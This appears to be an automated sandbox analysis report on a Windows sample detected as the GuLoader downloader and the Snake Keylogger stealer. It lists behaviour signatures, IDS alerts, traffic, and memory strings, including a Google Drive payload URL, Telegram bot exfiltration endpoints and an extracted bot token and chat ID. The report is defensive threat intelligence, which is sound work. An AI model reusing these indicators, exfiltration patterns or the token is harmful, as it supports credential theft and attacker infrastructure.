Edit tour

Windows Analysis Report
NDCNDvC27F.exe

Overview

General Information

Sample name:	NDCNDvC27F.exe renamed because original name is a hash value
Original sample name:	f244e767138599c4a0c605431d2be543d45da2adfb9ce4a2dcb499704febf381.exe
Analysis ID:	1632239
MD5:	429e48d78bf4bf8403c99c46e6514840
SHA1:	378bad9d0c769087eee0159da95bf216b1ed7f56
SHA256:	f244e767138599c4a0c605431d2be543d45da2adfb9ce4a2dcb499704febf381
Tags:	exenjratsigneduser-adrian__luca
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious PE digital signature

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

NDCNDvC27F.exe (PID: 7644 cmdline: "C:\Users\user\Desktop\NDCNDvC27F.exe" MD5: 429E48D78BF4BF8403C99C46E6514840)

NDCNDvC27F.exe (PID: 1372 cmdline: "C:\Users\user\Desktop\NDCNDvC27F.exe" MD5: 429E48D78BF4BF8403C99C46E6514840)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "8099931947:AAE1ESweRA82yXTxOE-G8GWsPBJDgGqE32Y", "Chat_id": "5898096617\n", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.3080268352.0000000033FC6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.3080268352.0000000033EE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2042730966.000000000482F000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: NDCNDvC27F.exe PID: 1372	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NDCNDvC27F.exe PID: 1372	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T21:32:23.276467+0100	2803305	3	Unknown Traffic	192.168.2.4	49725	104.21.32.1	443	TCP
2025-03-07T21:32:25.726139+0100	2803305	3	Unknown Traffic	192.168.2.4	49726	104.21.32.1	443	TCP
2025-03-07T21:32:28.795335+0100	2803305	3	Unknown Traffic	192.168.2.4	49727	104.21.32.1	443	TCP
2025-03-07T21:32:32.096555+0100	2803305	3	Unknown Traffic	192.168.2.4	49728	104.21.32.1	443	TCP
2025-03-07T21:32:35.757791+0100	2803305	3	Unknown Traffic	192.168.2.4	49729	104.21.32.1	443	TCP
2025-03-07T21:32:42.953288+0100	2803305	3	Unknown Traffic	192.168.2.4	49730	104.21.32.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T21:32:13.189354+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49723	132.226.8.169	80	TCP
2025-03-07T21:32:15.689601+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49723	132.226.8.169	80	TCP
2025-03-07T21:32:21.059560+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49723	132.226.8.169	80	TCP
2025-03-07T21:32:23.611422+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49723	132.226.8.169	80	TCP
2025-03-07T21:32:26.595901+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49723	132.226.8.169	80	TCP
2025-03-07T21:32:29.908329+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49723	132.226.8.169	80	TCP
2025-03-07T21:32:33.557928+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49723	132.226.8.169	80	TCP
2025-03-07T21:32:38.040923+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49723	132.226.8.169	80	TCP
2025-03-07T21:32:40.611522+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49723	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T21:32:03.099512+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49721	142.250.185.142	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T21:32:45.656606+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49731	149.154.167.220	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 07 Mar 2025 20:32:45 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034060000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: NDCNDvC27F.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: NDCNDvC27F.exe, 0000000A.00000002.3081387010.00000000351A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033FA1000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.000000003406F000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.000000003406F000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.000000003406F000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033FA1000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20a
Source: NDCNDvC27F.exe, 0000000A.00000003.2125393372.0000000003930000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000003.2125346923.0000000003930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: NDCNDvC27F.exe, 0000000A.00000002.3081387010.00000000351A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: NDCNDvC27F.exe, 0000000A.00000002.3081387010.00000000351A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: NDCNDvC27F.exe, 0000000A.00000002.3081387010.00000000351A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034027000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033FC6000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034058000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034027000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034022000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: NDCNDvC27F.exe, 0000000A.00000002.3059914659.00000000038B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: NDCNDvC27F.exe, 0000000A.00000002.3060207904.0000000005380000.00000004.00001000.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3059914659.00000000038F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A
Source: NDCNDvC27F.exe, 0000000A.00000003.2175472622.000000000392B000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3059914659.000000000391B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: NDCNDvC27F.exe, 0000000A.00000003.2175472622.000000000392B000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3059914659.000000000391B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/c
Source: NDCNDvC27F.exe, 0000000A.00000003.2175555706.000000000392F000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000003.2125393372.0000000003930000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3059914659.000000000391B000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000003.2125346923.0000000003930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A&export=download
Source: NDCNDvC27F.exe, 0000000A.00000003.2175555706.000000000392F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A&export=downloade
Source: NDCNDvC27F.exe, 0000000A.00000002.3081387010.00000000351A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: NDCNDvC27F.exe, 0000000A.00000002.3081387010.00000000351A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: NDCNDvC27F.exe, 0000000A.00000002.3081387010.00000000351A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: NDCNDvC27F.exe, 0000000A.00000002.3081387010.00000000351A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033F2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033F2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034060000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033FA1000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000033F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: NDCNDvC27F.exe, 0000000A.00000003.2125393372.0000000003930000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000003.2125346923.0000000003930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: NDCNDvC27F.exe, 0000000A.00000002.3081387010.00000000351A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: NDCNDvC27F.exe, 0000000A.00000003.2125393372.0000000003930000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000003.2125346923.0000000003930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: NDCNDvC27F.exe, 0000000A.00000003.2125393372.0000000003930000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000003.2125346923.0000000003930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: NDCNDvC27F.exe, 0000000A.00000002.3081387010.00000000351A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: NDCNDvC27F.exe, 0000000A.00000003.2125393372.0000000003930000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000003.2125346923.0000000003930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: NDCNDvC27F.exe, 0000000A.00000003.2125393372.0000000003930000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000003.2125346923.0000000003930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034058000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034049000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.0000000034053000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_00405295 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405295

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_0040331C EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_0040331C
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0040331C EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		10_2_0040331C

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_00404AD2	0_2_00404AD2
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_004064F7	0_2_004064F7
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_00404AD2	10_2_00404AD2
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_004064F7	10_2_004064F7
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_03605370	10_2_03605370
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360D2D3	10_2_0360D2D3
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_036077AB	10_2_036077AB
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360C5C0	10_2_0360C5C0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360D59F	10_2_0360D59F
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360CA58	10_2_0360CA58
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_03605973	10_2_03605973
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360D86F	10_2_0360D86F
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_03607F18	10_2_03607F18
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360CFF7	10_2_0360CFF7
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360CD2F	10_2_0360CD2F
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360ADD8	10_2_0360ADD8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360EC18	10_2_0360EC18
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360C788	10_2_0360C788
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360A410	10_2_0360A410
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_03603AA1	10_2_03603AA1
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_036029EC	10_2_036029EC
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360F804	10_2_0360F804
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_03603E09	10_2_03603E09
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360FC52	10_2_0360FC52
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360EC13	10_2_0360EC13
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_037D1F98	10_2_037D1F98
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_037D1CB4	10_2_037D1CB4
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_037D0B40	10_2_037D0B40
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_037D0B3B	10_2_037D0B3B
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_037D7A78	10_2_037D7A78
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_037D2C51	10_2_037D2C51
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_037D1CA8	10_2_037D1CA8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_362096B0	10_2_362096B0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36202A98	10_2_36202A98
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36200B30	10_2_36200B30
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_362023B0	10_2_362023B0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_362053B0	10_2_362053B0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36201C58	10_2_36201C58
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620EA28	10_2_3620EA28
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620EA38	10_2_3620EA38
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620EE80	10_2_3620EE80
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36202A88	10_2_36202A88
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620EE90	10_2_3620EE90
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620F2E8	10_2_3620F2E8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620F2D9	10_2_3620F2D9
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36208F25	10_2_36208F25
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36200B27	10_2_36200B27
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36208F28	10_2_36208F28
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620F730	10_2_3620F730
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620F740	10_2_3620F740
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36209FA0	10_2_36209FA0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_362023A4	10_2_362023A4
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_362053AB	10_2_362053AB
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620FB8A	10_2_3620FB8A
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620FB98	10_2_3620FB98
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36208BF3	10_2_36208BF3
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620D028	10_2_3620D028
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620003F	10_2_3620003F
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36200040	10_2_36200040
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36201C49	10_2_36201C49
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620D480	10_2_3620D480
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_362098D0	10_2_362098D0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620D8D8	10_2_3620D8D8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620DD21	10_2_3620DD21
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620DD30	10_2_3620DD30
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620E187	10_2_3620E187
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620E188	10_2_3620E188
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_3620E5E0	10_2_3620E5E0
